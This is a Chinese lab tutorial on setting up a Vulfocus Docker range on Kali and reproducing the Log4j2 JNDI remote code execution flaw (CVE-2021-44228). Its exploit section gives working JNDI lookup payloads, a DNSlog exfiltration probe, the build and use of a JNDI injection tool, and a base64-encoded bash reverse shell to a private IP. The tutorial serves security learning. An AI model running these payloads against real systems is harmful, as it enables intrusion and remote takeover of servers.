当前位置: 首页 > news >正文

KALI搭建log4j2靶场及漏洞复现全流程

这里使用了两台KALI虚拟机,一台用于安装靶场环境,一台用于攻击

一、Docker的安装(靶机)

1、Linux内核版本查看

#安装docker要求内核版本kerner>=3.10
#为此,先检查当前Linux系统的内核版本
uname -a

2、Linux apt源换源教程

#进入sources.lis重新编辑apt源
vim /etc/apt/sources.list
#直接CV大法写入下面的apt源
#其他apt源
#此处仅添加中科达和阿里的,其他注释掉#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

3、进行系统或工具的更新

#进行系统和工具的更新(比较久,去隔壁玩两把游戏)
#注:当出现正在设定软件包界面时,直接按tab+enter进行确认
apt-get update && apt-get upgrade && apt-get dist-upgrade#清除更新缓存
apt-get clean

4、采用apt安装Docker

#这里采用apt安装,因为之后采用apt源安装Docker的其他组件时,新组件与已安装的Docker容器最为匹配。
apt-get install docker docker-compose#或
apt-get install docker.io

5、检验Docker成功安装

#启动docker服务
service docker start
#列出docker现有镜像
docker images
#运行hello-world镜像
#但apt安装的docker没带有hello-world默认镜像呀,所以下面的命令不成功,它会帮你拉去该镜像下来
docker run hello-world
由于各种网络政策,在国内访问DockerHub速度会非常缓慢,大家一般都会采取更换镜像源的方式来进行加速。

运行时会报错,需要配置docker镜像加速

6、Docker换源教程

2024.6之后,由于政策的加强,大部分常见的镜像源已经无法使用,如下图:

截止2025.4.16,下列镜像源均可用。(基于能否成功拉取hello-world进行测试)

DockerHub可用镜像源汇总

http://docker.m.daocloud.io

http://docker.imgdb.de

docker-0.unsee.tech

http://docker.hlmirror.com

docker.1ms.run

func.ink

http://lispy.org

http://docker.xiaogenban1993.com

换源方法1-临时换源

格式如下:(不要加上前缀https://

sudo docker pull+镜像源地址+/+要拉取的镜像名

例如:

镜像源为“docker.m.daocloud.io”,要拉取的镜像名为“hello-world”,

sudo docker pull docker.m.daocloud.io/hello-world

成功拉取,如下图:

注意:此方法每次拉取镜像时都需要指定相应的镜像源

换源方法2-永久换源(推荐)

核心思想:修改docker的配置文件 daemon.json,将镜像源地址写入其中。

以ubuntu22.04为例,其余操作系统同理

1、创建目录(如果已经有该目录,则忽略此步骤)

sudo mkdir -p /etc/docker

知识点补充:添加“-p”,执行此命令会先检查目录是否存在。若不存在,则创建相应目录;否则,不执行任何操作。因此不管是否有该目录,直接执行此命令都没问题,不会报错

2、向配置文件写入镜像源

格式如下:(需要加上前缀https://

{"registry-mirrors": ["镜像源1","镜像源2"]
}

例如,根据2025.4.16最新测试的可用镜像源,我在此给出命令行文本编辑器两种操作方法。

下列两种方法均可直接使用,不会报错。

1. 方法一:直接命令行输入

直接将下列文本粘贴到终端中,然后回车运行即可。

sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://docker-0.unsee.tech","https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
EOF

知识点补充:<<-'EOF' 告诉 shell 接下来的所有内容会被传递到命令 tee,直到遇到标记 EOF 为止,用于将多行内容作为输入传递给命令。所以不需要担心输入一行之后系统就开始执行命令。 此外,若daemon.json文件不存在,直接使用tee命令不会报错,而是会创建名为daemon.json的文件。

2. 方法二:通过文本编辑器打开daemon.json,然后粘贴

首先打开配置文件:

sudo nano /etc/docker/daemon.json

然后直接粘贴下列内容:

{"registry-mirrors": ["https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker-0.unsee.tech","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}

知识点补充:若daemon.json文件不存在,直接使用nano命令不会报错,而是会创建名为daemon.json的文件。

1、重启docker服务

sudo systemctl daemon-reload && sudo systemctl restart docker

    2、验证

    sudo docker pull hello-world

    出现下图,即为成功!

    安装vulfocus镜像

    docker pull vulfocus/vulfocus:latest

    二、搭建Vulfocus靶场并配置vulfocus漏洞环境(靶机)

    1、安装vulfocus镜像

    docker pull vulfocus/vulfocus:latest

    2、运行vulfocus

    docker create -p 8888:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
    各个参数的简单解释:
    -p :前边的端口代表物理机的端口,后边的端口是docker的端口
    -v :/var/run/docker.sock:/var/run/docker.sock为docker交互连接。
    -e:
    VUL_IP=172.17.0.1 为Docker服务器 IP,不能为 127.0.0.1。
    vulfocus/vulfocus是上面的仓库镜像名,也可以用镜像ID。

    可以用ifconfig命令来确认当前的docker服务器ip:

    接着用这个命令来查看当前docker的所有服务,可以看到我们刚刚起的服务:

    docker ps -a

    运行vulfocus容器:

    docker start 6cbc5770a44e 

    状态为up,代表成功启动。
    由本地的8888端口映射到docker的80端口
    最后访问在主机访问虚拟机IP的8888端口即可:

    默认账号密码admin/admin

    初始账号密码登进来以后,空空的,需要自己添加漏洞环境进来。

    3、添加镜像

    点击镜像管理模块,直接一键同步,就是官方的所有漏洞环境,反正点这个就好了:

    同步之后,刷新页面,就可以看到漏洞环境了,挑选自己喜欢的一个一个下载就好,我这里下载了log4j2环境
    也可以点击添加,直接一键导入,这个就很久了,最好在WiFi环境下下载吧,流量多的大佬另当别论哈

    启动后会生成一个端口号

    在虚拟机IP后加上端口就可以打开靶机了

    三、KALI中maven 的安装与配置(攻击机)

    1、在另一台kali上下载 maven 安装包(作为攻击机)

    wget https://dlcdn.apache.org/maven/maven-3/3.9.4/binaries/apache-maven-3.9.4-bin.tar.gz

    2、解压 apache-maven-3.9.4-bin.tar.gz

    tar -zxvf apache-maven-3.9.4-bin.tar.gz

    找到文件解压到的位置,由于解压时我们没有指定路径,因此默认解压到当前路径下

    可以看到路径为:/root/apache-maven-3.9.4

    (看你自己把文件压缩包下载到哪里,在哪里进行解压的)

    3、修改配置文件 /etc/profile

    vim /etc/profile

    在配置文件中加上:

    export MAVEN_HOME=/root/apache-maven-3.9.4 # 你自己文件解压后所在的位置
    export PATH=$MAVEN_HOME/bin:$PATH

    4、wq保存退出后,刷新配置文件,以确保修改生效

    source /etc/profile

    5、检测是否安装成功,查看 maven 版本

    mvn -version

    6、这里存在一个问题,当我们重启一个终端时,发现 mvn 命令依旧无法识别

    使用命令

    sudo apt-get install maven

    重启客户机

    四、Log4j2远程命令执行(CVE-2021-44228)漏洞复现(攻击机)

    1、启动环境

    点击问号跳转


    发现url会出现变化

    schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

    漏洞利用语句如下(替换 schema://url):

    ${jndi:schema://url}

    验证是否存在Log4j2远程代码执行,首先在DNSlog获取一个域名。

    DNSLog PlatformDNSLog平台http://dnslog.cn/

    输入下面的内容,注意替换你自己获得的域名

    ${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}

    这里注意,进行url编码

    Java程序解析这个表达式时,会将 ${sys:java.version} 替换为当前 JVM 的实际版本号,这样你在DNSlog就能看到相关信息

    2、JNDI 注入工具安装

    首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

    切换到 JNDI-Injection-Exploit 目录

    cd JNDI-Injection-Exploit

    编译安装,在该目录下执行如下命令

    mvn clean package -DskipTests

    编译安装完成后,我们会得到一个 jar 文件

    位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    在运行结果的最后是这样:

    切换进入到 target 目录:

    cd target

    3、工具用法

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

    4、服务站点部署

    反弹 shell 到目标主机端口,大家注意改成自己的IP和端口,这里以 7777 端口为例

    bash -i >& /dev/tcp/192.168.217.134/7777 0>&1

    对命令进行 base64 编码 (命令必须经过编码,不然无法实现)

    Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

    Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec

    得到

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

    将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

    利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

    在 target 目录下,执行如下命令:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"

    4、开启端口监听

    再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)

    nc -lvvp 7777

    5、反弹shell

    使用上述给出的 payload 路径构造完整 payload

    比如:

    ${jndi:rmi://192.168.217.134:1099/lzdfyj}
    ${jndi:ldap://192.168.217.134:1389/qtbchd}

    我们可以针对不同版本和不同情况使用不同的服务和不同的 payload

    url编码

    成功反弹shell

    相关文章:

  1. Uniapp:列表选择提示框
  2. JSP技术入门指南【一】利用IDEA从零开始搭建你的第一个JSP系统
  3. Docker Compose 命令实现动态构建和部署
  4. 2025年推荐使用的开源大语言模型top20:核心特性、选择指标和开源优势
  5. 全链路开源数据平台技术选型指南:六大实战工具链解析
  6. 纷析云开源财务软件:企业财务数字化转型的灵活解决方案
  7. lombok requires enabled annotation processing
  8. 三层路由器,SSH远程登录访问路由器,通过telnet远程登录访问路由器(不安全),路由器的基本设置之多网络互联解决办法:单臂路由
  9. Web3技术如何提升用户数据保护
  10. 05-DevOps-Jenkins自动拉取构建代码
  11. 【路由交换方向IE认证】BGP选路原则之Local Preference属性
  12. 计算机网络 实验四 静态路由的配置与应用
  13. 自动化浏览器环境与 Node.js 环境的逆向分析:完整教程
  14. 【开发语言】悬空指针问题
  15. 《分布式软总线架构下,设备虚拟化技术的深度剖析与优化策略》
  16. 高并发内存池(四):内存释放原理与实现
  17. C语言的文件操作
  18. TMDOG——语言大模型进行意图分析驱动后端实践
  19. 智能家居适老化改造:让科技回归“无感服务”
  20. 2025 最新版 Node.js 下载安装及环境配置详细教程【保姆级】
  21. 个人网站设计规划书/黄桃图片友情链接
  22. vps网站被镜像/十大舆情网站
  23. 动漫设计培训机构哪里好/上海seo培训
  24. 黄石做网站公司/优化大师软件大全
  25. 公司网站建设前期情况说明/最近三天的新闻热点
  26. wordpress文章输出数/百度seo排名优化教程